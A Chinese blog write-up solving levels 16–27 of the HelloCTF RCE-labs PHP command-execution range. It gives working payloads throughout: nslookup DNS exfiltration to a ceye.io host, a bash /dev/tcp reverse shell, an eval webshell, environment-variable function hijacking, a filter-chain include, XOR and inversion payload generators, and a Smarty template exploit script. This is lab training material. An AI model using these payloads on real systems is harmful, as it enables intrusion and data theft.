Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5Mobile wallpaper 6
4374 字
22 分钟
rce-labs level16-27
2025-12-08

level 16#

<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_4字符RCE ---
*/
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>

和上一关一个待遇

level 17#

<?php
session_start();
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - PHP命令执行函数 ---
喵喵喵ww https://www.php.net/manual/zh/ref.exec.php
system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');
exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);
shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');
passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');
popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo \cat /etc/passwd`;`
在该关卡中,你将会从能够执行系统命令的PHP函数中抽取一个,你需要填充函数的内容来执行某些系统命令以获取flag(tip:flag存储在 /flag 中,当然你也可以尝试其他方法)。
*/
function hello_ctf($function, $content){
if($function == '``'){
$code = '`'.$content.'`';
echo "Your Code: $code <br>";
eval("echo $code");
}else
{
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
}
function get_fun(){
$func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];
}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>

和level 2类似,关键词:替换

函数说明示例代码
system()system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。system('cat /etc/passwd');
exec()exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。exec('cat /etc/passwd', $result); print_r($result);
shell_exec()shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。echo shell_exec('cat /etc/passwd');
passthru()passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。passthru('cat /etc/passwd');
popen()popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 “反引号用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。注意:关闭了 shell_exec() 时反引号运算符是无效的echo `cat /etc/passwd`

直接执行命令

payload:

passthru('cat /flag');
system('cat /flag');
shell_exec('cat /flag');
exec('cat /flag > 1.txt');

DNS外带(使用Base64编码并指定公共DNS服务器)

ping,curl都不成功,使用nslookup似乎跟直接

payload:

content='nslookup `cat /flag | base64 | tr -d "\n" | head -c 50`.fdmsda.ceye.io'

RCE之执行无回显 - undefined

弹shell

bash -i >& /dev/tcp/ip/your_port 0>&1

level 18#

Warning: Invalid argument supplied for foreach() in /var/www/html/index.php on line 15
hello <?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 环境变量注入 ---
来源:P牛2022的文章【我是如何利用环境变量注入执行任意命令】https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
*/
foreach($_REQUEST['envs'] as $key => $val) {
putenv("{$key}={$val}");
}
system('echo hello');
highlight_file(__FILE__);
?>

环境变量注入RCE,参考我是如何利用环境变量注入执行任意命令

漏洞利用原理:Bash 函数劫持#

原理概述#

Bash Shell 有一个特性:它允许将函数定义存储在环境变量中,并导出给子进程。Bash 在启动时,会扫描所有环境变量,寻找特定格式的变量名,并将其注册为内部函数。

  1. 识别格式:Bash 识别导出的函数的格式为:BASH_FUNC_函数名%%
  2. 命令优先级:当 Bash 执行命令时,其优先级顺序为:函数 > 内置命令 > 外部程序(如 /bin/echo
  3. 攻击实现
    • 我们在环境变量中定义一个名为 echo 的恶意函数,函数体是 cat /flag
    • 当 PHP 执行 system('echo hello') 时,Bash 启动并加载了这个恶意的 echo 函数。
    • Bash 运行时,发现用户想执行 echo,于是它执行了优先级更高的我们定义的函数,从而执行了 cat /flag,实现了命令注入。

构造 Payload#

目标#

劫持 echo 命令,执行 /bin/cat /flag

组件内容作用
注入参数名 (Key)envs[BASH_FUNC_echo%%]告诉 PHP 要设置的数组键,其值将成为环境变量名。
环境变量 KeyBASH_FUNC_echo%%告知 Bash 这是一个名为 echo 的函数定义。
环境变量 Value() { cat /flag; }恶意函数体。 () 定义函数,{} 包含命令。

payload

?envs%5BBASH_FUNC_echo%25%25%5D=()%20{%20cat%20/flag;%20}

level 19#

<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 文件写入导致的RCE ---
https://www.php.net/manual/zh/function.file-put-contents.php
参考可以写入的内容:
<?php @eval($_POST['a']); ?>
*/
function helloctf($code){
$code = "file_put_contents(".$code.");";
eval($code);
}
isset($_GET['c']) ? helloctf($_GET['c']) : '';
highlight_file(__FILE__);
?>

用标准解法行不通

?c='1.php','<?php @eval($_POST["a"]); ?>'

所以用的是先包裹住这个方法再调用system函数

?c=1)%3B%20system('cat%20%2Fflag')%3B%20%2F%2F

level 20#

上传一个一句话木马,然后连接蚁剑就好了

level 21#

<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 文件包含导致的RCE ---
allow_url_fopen = On
allow_url_include = On
默认全开的环境,可以尝试多种解法,若对此存有疑问,尝试去 github.com/ProbiusOfficial/PHPinclude-labs 了解更多文件包含的知识。
远程文件包含可用链接(<?php @eval($_POST['a']); ?>):
https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI
FilterChain的Payload生成器:
https://probiusofficial.github.io/PHP-FilterChain-Exploit/
/exp.php
注意:在本关卡中你传递的内容将以字符串的方式拼接在 include() 函数中,你需要区别这与 incluude($_GET['file']) 的区别。
*/
function helloctf($code){
$code = "include(".$code.");";
echo "Your includeCode : ".$code;
eval($code);
}
isset($_POST['c']) ? helloctf($_POST['c']) : '';
highlight_file(__FILE__);
?>

可以直接包含文件

c='/flag'

利用payload生成器生成利用链

image-20251210155926181

c='php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp'&a=system('cat /flag');

level 22#

<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : HP 特性 - 动态调用 ---
PHP 支持在运行时动态构建并且调用函数,在下面的代码中 a可以被作为函数,b可以被作为函数的参数。
try ?a=system&b=ls
*/
isset($_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;
highlight_file(__FILE__);
?>
?a=system&b=cat%20%2Fflag

level 23#

<?php
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP 特性 - 自增 ---
可用字符:! $ ' ( ) + , . / ; = [ ] _
自增通过一下几个特性实现:
变量:
在PHP中变量以 $ 开头,后面为变量名称,PHP中变量可以是下划线 _ 开头,所以 $_ 是一个变量,$__ 则是不同的变量,就像 $a 和 $aa 一样。
数组->字符串:
在PHP中,非字符串是不能使用 . 符号进行拼接的,当你强制拼接时 PHP 会将非字符串转换为字符串:
$_ = 1; var_dump($_); var_dump($_.'');
这将会输出:int(1) string(1) "1"
但如果 $_ 是一个数组,则会被强制转换为字符串 Array 而无视数组内容。
所以 [].'' 表示在空数组后面拼接空字符串,PHP会优先转换类型,从而将数组转换为字符串 Array。
字符串:
字符串本质上是一个字符的有序序列,同C语言类似,你可以直接通过索引(或者说下标)的方式直接访问字符串中的字符。
$_ = "Hello-CTF";var_dump($_[0]);
这将会输出 string(1) "H"
所以在 $_ = ([].'')[0]; var_dump($_); 你会得到输出:string(1) "A"
自增:
这是一个编程语言中很常见的操作,我们一般在for循环会写到的语句 i++ 或者 ++i,这是一个自增操作,PHP也一样,只不过我们的变量名称不是很常见与之等效的 $_++ 或者 ++$_。
当我们对一个字符或者是字母进行自增操作时,PHP会将其转换为ASCII码,然后自增,然后再转换为字符。直观一点 A++ 将会输出 B,Z++ 将会输出 AA。++的位置决定语句的执行顺序,++在前面时会先进行自增操作。 $_ = ([].'')[0]; 在前面时输出B,后面时输出A。
所以通过特性的连用,你可以看到很多自增的Payload长这样:
payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]);
&__=system
&_=ls
自增题目的考点通常在Payload的长度限制,挑战关卡,让你的Payload足够短吧。
*/
highlight_file(__FILE__);
isset($_POST['code']) ? $code = $_POST['code'] : $code = null;
if(preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/", $code)){
die("WAF!");
}else{
echo "Your Payload's Length : ".strlen($code)."<br>";
eval($code);
}
?>

解法已经写到题目里了

当将一个数组与空白" "组合时,就会变成字符串Array

再利用布尔''=='_',因为两者不相同,所以会回0

于是

$_=([].'')[''=='_'];
等同于
$_='Array';
$_=$_[0];

然后利用递增

$_++; //A++=B
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])

这样就构造出了一个

$_($__)

的语句

payload:(urlencode)

%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

同时发送GET请求

?_=system&__=cat /flag

level 24#

<?php
include ("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP 特性 - 无参命令执行 ---
根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。
无参命令执行的难度首先是在于无参本身,这需要你利用一些函数特性外带参数绕过限制 —— 这可以从一些获取外部值的函数实现:
getallheaders()
session_id()
...
其次是对嵌套参数的处理 —— 当然不局限于外带进来的参数,一些诸如 localeconv() 的函数可以获取内部存在的一些参数如当前目录下面的文件信息等:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
通常我们获取到的很多情况下是数组,所以有时候比较依赖对数组的操作,比如:
- array_reverse():数组反转
- pos():输出数组第一个元素
- next():指向数组的下一个元素,并输出
...
随后是一些文件读取显示的操作:
- show_source() - 对文件进行语法高亮显示。
- readfile() - 输出一个文件。
- highlight_file() - 对文件进行语法高亮显示。
- file_get_contents() - 把整个文件读入一个字符串中。
- readgzfile() - 可用于读取非 gzip 格式的文件
...你随时可以通过查阅PHP官方手册中函数相关的部分来找到上面类似的内容。
*/
function hello_code($code){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)){
eval($code);
}else{
die("O.o");
}
}
isset($_GET['code']) ? hello_code($_GET['code']) : null;
highlight_file(__FILE__);
?>

1. 获取数据类 (Input Source)#

这一类函数用于引入外部变量或者获取环境信息,是我们突破“无参”限制的源头。

函数名作用使用方法与场景
getallheaders()获取所有 HTTP 请求头 (返回数组)。最强 RCE 函数(仅限 Apache)。 配合 end()next(),你可以把恶意命令写在 HTTP Header 里(如 User-Agent 或自定义头),然后读取它并执行。 Payload: system(end(getallheaders()));
get_defined_vars()获取所有已定义变量 (返回多维数组)。getallheaders 不可用时(如 Nginx),用它来获取 $_GET, $_POST, $_FILES。配合 current() 等函数提取参数。 Payload: eval(end(current(get_defined_vars()))); (需要配合 GET 参数)
session_id()获取/设置当前 Session ID (返回字符串)。需要配合 session_start()。攻击者可以在 Cookie 中设置 PHPSESSID=flag.php,然后由脚本读入。 Payload: show_source(session_id(session_start()));
getcwd()获取当前工作目录 (返回字符串)。基础函数。通常作为 scandir() 的参数。 Payload: scandir(getcwd());
localeconv()获取数字格式信息 (返回数组)。黑科技。该数组第一个元素通常是 . (小数点)。用它来代替 getcwd() 或表示当前目录。 Payload: scandir(pos(localeconv())); (等同于 scandir('.'))
phpversion()获取 PHP 版本 (返回字符串)。如果需要构造数字(例如利用版本号中的数字)或仅仅作为填充物时使用。

2. 数据操作类 (Data Manipulation)#

这一类函数用于操作数组指针,帮助我们从数组中精准地“抓取”我们想要的那个元素(比如 flag.php)。

函数名作用使用技巧
end()将指针移到最后一个元素并返回。getallheaders() 的最后一个 Header 是恶意命令,或者文件名排序后 flag.php 在最后时使用。
current() / pos()返回数组当前(第一个)元素。获取数组头部元素,常配合 localeconv() 获取 .
next()指针后移一位并返回。数组通常以 ... 开头,需要用 next() 跳过它们去读取真实文件。
prev()指针前移一位并返回。end() 配合使用,读取倒数第二个元素。
array_reverse()翻转数组当目标文件在数组开头,但你想用 next() 去够它时;或者它在结尾,你想把它翻转到开头来读取。
array_flip()交换键和值配合 array_rand() 使用。因为 array_rand 返回键名,我们需要把文件名变成键名。
array_rand()随机返回一个键名。当你实在无法控制指针指向某个特定文件时,用它来“碰运气”。

3. 最终执行类 (Execution / Sink)#

这一类函数是利用链的终点。

函数名作用注意事项
show_source()语法高亮显示文件内容。别名 highlight_file()。读取 Flag 的首选。
readfile()输出文件内容。也是读取文件的标准函数。
file_get_contents()读取文件到字符串。通常需要配合 echovar_dump 显示,否则看不到回显。
system() / eval()执行系统命令或 PHP 代码。只有当你能通过 getallheaderssession_id 引入任意字符串时,才能使用这些 RCE 函数。

payload:

?code=show_source(array_rand(array_flip(scandir(getcwd()))));
?code=system(next(getallheaders()));
//抓包,在 HTTP Header 中添加一行: User-Agent: ls / (或者其他位置,取决于 next 指向哪里)。 这将直接执行 ls / 命令
?code=show_source(session_id(session_start()));
//抓包,修改 Cookie 为: Cookie: PHPSESSID=/flag (或者 flag.php 的十六进制形式,如果 WAF 拦截点号)。 这将读取 /flag 文件。

level 25#

<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP 特性 - 取反绕过 ---
注*:推荐先完成 无参命令注入部分题目 后再来尝试这一题。
取反题目实际上就是无参命令执行的一个变种,我们可以通过取反的方式来绕过正则表达式的匹配规则,已经有成熟的脚本就不多做说明了。
脚本仓库:https://github.com/ProbiusOfficial/PHP-inversion
https://probiusofficial.github.io/PHP-inversion/
题目提供一个在线的页面脚本来辅助你完成该题目:/exp.html
*/
function hello_code($code){
if(preg_match("/[A-Za-z0-9]+/", $code)){
die("WAF!");
}
eval($code);
}
isset($_GET['code']) ? hello_code($_GET['code']) : null;
highlight_file(__FILE__);
?>

payload:

?code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

level 26#

<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: 探姬
\# @Date: 2024-08-11 14:34
\# @Repo: github.com/ProbiusOfficial/RCE-labs
\# @email: admin@hello-ctf.com
\# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP 特性 - 无字母数字的代码执行 ---
参考和依据的文章:https://xz.aliyun.com/t/8107
*/
highlight_file(__FILE__);
isset($_POST['code']) ? $code = $_POST['code'] : $code = null;
if(preg_match("/[a-z0-9]/is", $code)){
die("WAF!");
}else{
echo "Your Payload's Length : ".strlen($code)."<br>";
eval($code);
}
?>

附上脚本

import re
import urllib.parse # Python 3 中通常用 parse
import sys
# 1. 设置允许的字符白名单 (根据正则逻辑反向筛选)
a = []
for i in range(0, 256):
c = chr(i)
# 正则:过滤了数字、字母、异或符号、加号、取反、美元符、括号、花括号、与号、减号
# 注意:如果靶场WAF真的过滤了 '^' (异或符),那么生成的Payload可能也无法传输,除非WAF只在解码前检测
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', c, re.I)
if (tmp):
continue
else:
a.append(i)
# ==========================================
# 2. 这里改为用户输入
# ==========================================
try:
print("--- PHP异或Payload生成器 ---")
mya = input("请输入函数名 (例如 system): ").strip()
myb = input("请输入参数 (例如 ls /): ").strip()
except KeyboardInterrupt:
sys.exit("\n用户取消输入")
# 全局变量初始化
ans1 = ""
ans2 = ""
def myfun(k, target_str):
global ans1
global ans2
# 遍历白名单中的字符,寻找两个字符的异或结果等于目标字符
for i in range(0, len(a)):
for j in range(0, len(a)): # 修改为从0开始,以获得更多组合可能
if (a[i] ^ a[j] == ord(target_str[k])):
ans1 += chr(a[i])
ans2 += chr(a[j])
return
# ==========================================
# 3. 生成函数名部分 (例如 system)
# ==========================================
ans1 = ""
ans2 = ""
for x in range(0, len(mya)):
myfun(x, mya)
# 构造 data1: ('xxx'^'xxx')
payload_func = "('" + urllib.parse.quote(ans1) + "'^'" + urllib.parse.quote(ans2) + "')"
print(f"\n[+] 函数部分 Payload ({mya}):")
print(payload_func)
# ==========================================
# 4. 生成参数部分 (例如 ls)
# ==========================================
ans1 = ""
ans2 = ""
for k in range(0, len(myb)):
myfun(k, myb)
# 构造 data2: ('xxx'^'xxx')
payload_args = "('" + urllib.parse.quote(ans1) + "'^'" + urllib.parse.quote(ans2) + "')"
print(f"\n[+] 参数部分 Payload ({myb}):")
print(payload_args)
# ==========================================
# 5. 最终拼接
# ==========================================
print("\n[!] 最终完整 Payload:")
# 格式: (函数)(参数); -> (system)(ls);
final_payload = f"{payload_func}{payload_args};"
print(final_payload)

level 27#

require 'vendor/autoload.php';
use Smarty\Smarty;
$smarty = new Smarty();
if (isset($_GET['page']) && gettype($_GET['page']) === 'string') {
$file_path = "file://" . getcwd() . "/pages/" . $_GET['page'];
$smarty->display($file_path);
} else {
header('Location: /?page=home');
};

不会

import hashlib
import requests
from urllib.parse import quote
URL = ""
cwd = '/app'
target_file = '../{Closure::fromCallable(system)->__invoke("cat /flag-*")}/../../pages/about'
w1 = requests.get(URL + "?page=" + quote(target_file))
print(w1.status_code)
print(w1.text)
filehash = hashlib.sha1(f"//{cwd}/pages/{target_file}{cwd}/templates/".encode())
template_c_file = filehash.hexdigest() + "_0.file_" + target_file.split("/")[-1] + ".php"
template_c_file_path = "../templates_c/" + template_c_file
w2 = requests.get(URL + "?page=" + template_c_file_path)
print(w2.status_code)
print(w2.text)
rce-labs level16-27
https://btop251.vercel.app/posts/ctf/rce-labs02/
作者
btop251
发布于
2025-12-08
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时